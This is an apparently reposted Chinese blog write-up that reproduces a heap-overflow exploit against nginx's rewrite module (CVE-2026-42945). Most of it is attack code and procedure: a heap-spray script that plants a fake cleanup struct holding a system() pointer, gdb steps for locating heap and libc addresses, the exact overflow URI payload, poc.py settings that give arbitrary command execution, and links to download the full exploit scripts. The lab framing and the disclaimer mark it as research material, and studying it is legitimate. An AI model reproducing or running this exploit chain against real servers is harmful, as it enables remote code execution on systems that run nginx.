文章总结: 该文档详细记录了NginxRift漏洞的利用过程,核心是通过堆溢出和堆风水技术实现控制流劫持。关键步骤包括发送POST请求塑造内存布局,利用畸形URI触发漏洞覆盖关键指针,并查找fake_struct地址和system()地址。文档提供了手工和程序自动查找地址的方法,并给出了可操作的PoC修改与验证步骤。 综合评分: 91 文章分类: 漏洞分析,渗透测试,红队,内网渗透,漏洞POC
(回头看)Nginx Rift (CVE-2026-42945) PoC 调试与复现笔记
原创
MicroPest MicroPest
MicroPest
2026年7月5日 12:03 安徽
在小说阅读器读本章
去阅读
昨天,我们完成了《Nginx Rift (CVE-2026-42945) PoC 调试与复现笔记》,今天我们再复盘回头捋一捋。分为两个部分,一部分是手工找地下,二部分是程序自动找地址。
总结:
poc.py 是一个经典的 堆溢出 + 堆风水 + 控制流劫持 利用脚本:
- 用大量 POST body 在堆上”塑造”内存布局
- 用畸形 URI 触发
ngx_http_rewrite_module的长度/复制不一致漏洞 - 溢出覆盖
ngx_pool_t.cleanup指针 - 将 cleanup 指针指向 spray body 中伪造的 cleanup 结构
- pool 销毁时调用
system()执行任意命令
其核心巧妙之处在于:利用 + 字符在 URI args 上下文中的 3 倍扩展特性,制造精确的堆溢出。
最核心的一句话:找地址。
一、目标
需要找到三个关键地址:
-
spray body 中 fake_struct 的地址
→ 修改
HEAP_BASE -
真正的
system()地址→ 修改
LIBC_BASE或SYSTEM_ADDR -
确认地址通过 URI 安全过滤
→ 确保能作为
target_bytes
第一步:准备环境
确保容器在运行:
docker compose -f env/docker-compose.yml up
进入容器:
docker exec -it
容器内安装 gdb(如果还没装):
apt-get update && apt-get install -y gdb
第二步:找到 nginx worker PID
在容器内:
ps aux | grep “nginx: worker”
输出示例:
nobody 983 0.0 0.1 … nginx: worker process
记下 PID,比如 983。
【第一部 手工查找地址】
第三步:发送 spray 并保持连接
在 Kali 终端(不是容器内)运行:
python3 << ‘EOF’
import socket
import time
s = socket.create_connection((‘127.0.0.1’, 19321), timeout=5)
和 poc.py 一样的 body 构造
BODY_LEN = 4000
cmd = b’touch /tmp/rift_pwned’
fake_struct: SYSTEM_ADDR + data_addr(占位) + next(0)
SYSTEM_ADDR = 0x7ffff780ad70 # 先用 poc.py 里的值
fake_struct = SYSTEM_ADDR.to_bytes(8, ‘little’) + b’\x00′ * 16
cmd_bytes = cmd + b’\x00′
body = fake_struct + cmd_bytes + b’A’ * (BODY_LEN – len(fake_struct) – len(cmd_bytes))
req = (
b’POST /spray HTTP/1.1\r\n’
b’Host: l\r\n’
b’Content-Length: ‘ + str(BODY_LEN).encode() + b’\r\n’
b’X-Delay: 60\r\n’
b’Connection: close\r\n’
b’\r\n’
+ body
)
s.sendall(req)
print(f'[*] Spray sent, PID of this script does not matter’)
print(f'[*] Holding connection open for 60 seconds…’)
time.sleep(60)
EOF
这个终端会卡住 60 秒,不要关闭。
第四步:搜索命令字符串位置
在 容器内 执行,找到 spray body 中的 touch 字符串:
gdb -p
输出示例:
0x5555556b347f0x5555556b9ebf0x55555571219f0x555555716faf0x55555571bdbf0x555555720bcf0x5555557259df0x55555572a7ef
这些就是 touch 字符串的位置。
第五步:计算 fake_struct 地址
cmd 字符串在 fake_struct 后面 24 字节处:
fake_struct_addr = cmd_addr – 24
比如第一个结果 0x5555556b347f:
python3 -c “print(hex(0x5555556b347f – 24))”# 0x5555556b3467
所以候选 fake_struct 地址:
0x5555556b34670x5555556b9ea70x555555712197- …
第六步:验证 fake_struct 内容
在容器内查看 0x5555556b3467:
gdb -p
输出:
0x5555556b3467: 0x00007ffff780ad70 0x0000555555772148
0x5555556b3477: 0x0000000000000000 0x742f206863756f74
0x5555556b3487: 0x5f746669722f706d 0x41410064656e7770
0x5555556b3497: 0x4141414141414141 0x4141414141414141
0x5555556b347f: "touch /tmp/rift_pwned"
确认:
- 第一个 8 字节是
SYSTEM_ADDR(当前 poc.py 的值) - 后面是命令字符串
- 再后面是
0x41填充
第七步:检查地址是否 URI 安全
target_bytes 是 fake_struct 地址的 6 字节小端表示,必须每个字节都能出现在 URI 中。
检查 0x5555556b3467:
python3 -c “
addr = 0x5555556b3467
for i in range(6):
b = (addr >> (i*8)) & 0xff
print(f'byte {i}: 0x{b:02x} = {b}')"
输出:
byte 0: 0x67 = 103 ← ‘g’
byte 1: 0x34 = 52 ← ‘4’
byte 2: 0x6b = 107 ← ‘k’
byte 3: 0x55 = 85 ← ‘U’
byte 4: 0x55 = 85 ← ‘U’
byte 5: 0x55 = 85 ← ‘U’
这些字节都是可打印 ASCII,能通过 addr_is_safe 过滤 ✅
第八步:找到真正的 system() 地址
在容器内:
gdb -p
输出示例:
$1 = {
$2 = 0x7ffff7808d70
所以真正的 system() 地址是 0x7ffff7808d70。
第九步:修正 LIBC_BASE
PoC 中:
SYSTEM_ADDR = LIBC_BASE + 0x50d70
所以:
LIBC_BASE = 0x7ffff7808d70 – 0x50d70 = 0x7ffff77b8000
第十步:修改 poc.py
1. fake_struct 地址
HEAP_BASE = 0x5555556b3467
PREREAD_HEAP_OFFSETS = [0] # 2. 正确的 libc 基址
LIBC_BASE = 0x7ffff77b8000
SYSTEM_ADDR = LIBC_BASE + 0x50d70# = 0x7ffff7808d70 # 3. 恢复填充
payload = "A" * 349 + "+" * 969 + target_bytes.decode("latin-1")
第十一步:验证
python3 poc.py –cmd ‘touch /tmp/rift_pwned’
docker exec <container> ls -la /tmp/rift_pwned
成功:
-rw-r–r– 1 nobody nogroup 0 Jul 4 11:18 /tmp/rift_pwned
二、关键要点总结
| 要找的地址 | 方法 | 命令 |
| — | — | — |
| fake_struct | cmd 字符串地址 – 24 | gdb find /b ... 0x74,0x6f,0x75,0x63,0x68 |
| system() | gdb 直接打印 | gdb -p <pid> -ex "p/x (void*)system" |
| 安全性 | 检查 6 字节是否可打印 | python3 逐字节打印 |
最核心的技巧:保持 spray 连接打开,然后用 gdb 搜索内存中的命令字符串,反推出 fake_struct 位置。
附上昨天针对github上自带的docker镜像中Ubuntu22.04调试成功的poc:
通过网盘分享的文件:poc-kali.py
链接: https://pan.baidu.com/s/10420aPCz-b4KjH4AdFrCjg?pwd=x5jx
提取码: x5jx
【第二部 程序查找地址】
三、保持 spray 连接keep_spray.py
相当于【第一部】中的第三步。
cat > /tmp/keep_spray.py << ‘PYEOF’
import socket
import time
s = socket.create_connection((‘127.0.0.1’, 19321), timeout=5)
BODY_LEN = 4000
cmd = b’touch /tmp/rift_pwned’
SYSTEM_ADDR = 0x7ffff780ad70
fake_struct = SYSTEM_ADDR.to_bytes(8, ‘little’) + b’\x00′ * 16
cmd_bytes = cmd + b’\x00′
body = fake_struct + cmd_bytes + b’A’ * (BODY_LEN – len(fake_struct) – len(cmd_bytes))
req = (
b’POST /spray HTTP/1.1\r\n’
b’Host: l\r\n’
b’Content-Length: ‘ + str(BODY_LEN).encode() + b’\r\n’
b’X-Delay: 60\r\n’
b’Connection: close\r\n’
b’\r\n’
+ body
)
s.sendall(req)
print(‘[*] Spray sent, holding 60s…’)
time.sleep(60)
PYEOF
四、自动找地址的find_spray_v3.py程序
两个地址的来源不同:
-
HEAP_BASE→ 在 nginx 进程的堆/data 段,需要发送 spray 后搜索
-
LIBC_BASE/
SYSTEM_ADDR→ 在 libc 中,worker 一启动就固定,不需要 spray
直接给你一个脚本,它会:
- 发送 spray 并保持连接
- 搜索命令字符串
"touch"(比 SYSTEM_ADDR 更稳定) - 自动计算 fake_struct 地址
- 验证地址是否 URI 安全
- 输出可直接复制到
poc.py的配置
通过网盘分享的文件:find_spray_v3.py
链接: https://pan.baidu.com/s/1NofGT5Uywzbb_yGW1mRU_Q?pwd=p34p
提取码: p34p
四、如何使用这两个程序
在容器内运行:python3 /tmp/keep_spray.py
在kali、容器外运行:python3 find_spray_v3.py
输出已经给出了正确的配置:
HEAP_BASE = 0x5555556b3467
PREREAD_HEAP_OFFSETS = [0x000000]
LIBC_BASE = 0x7ffff77b8000
SYSTEM_ADDR = LIBC_BASE + 0x50d70 # = 0x7ffff7808d70
五、修改 poc.py 并验证
1、找到对应部分,替换成:
HEAP_BASE = 0x5555556b3467PREREAD_HEAP_OFFSETS = [0x000000,]LIBC_BASE = 0x7ffff77b8000SYSTEM_ADDR = LIBC_BASE + 0x50d70
同时确认填充长度是:payload = “A” * 349 + “+” * 969 + target_bytes.decode(“latin-1”)
2. 运行 PoC:python3 poc.py –cmd ‘touch /tmp/rift_pwned’
3. 验证:docker exec docker-CONTAINER ID ls -la /tmp/rift_pwned
应该看到:-rw-r–r– 1 nobody nogroup 0 Jul 5 11:27 /tmp/rift_pwned
这个完整版 find_spray_v3.py 同时解决两个问题:
| 地址 | 查找方式 |
| — | — |
| HEAP_BASE | 发送 spray → gdb 搜索 cmd 字符串 → 反推 fake_struct |
| LIBC_BASE / SYSTEM_ADDR | gdb 直接打印 system() → readelf 获取偏移 → 计算 libc 基址 |
运行一次,直接输出所有需要修改的 poc.py 配置。
好了,经过复盘回头看,我们更加地理清了思路,对堆溢出的分析有了更加直观地认识。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:MicroPest MicroPest MicroPest《(回头看)Nginx Rift (CVE-2026-42945) PoC 调试与复现笔记》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论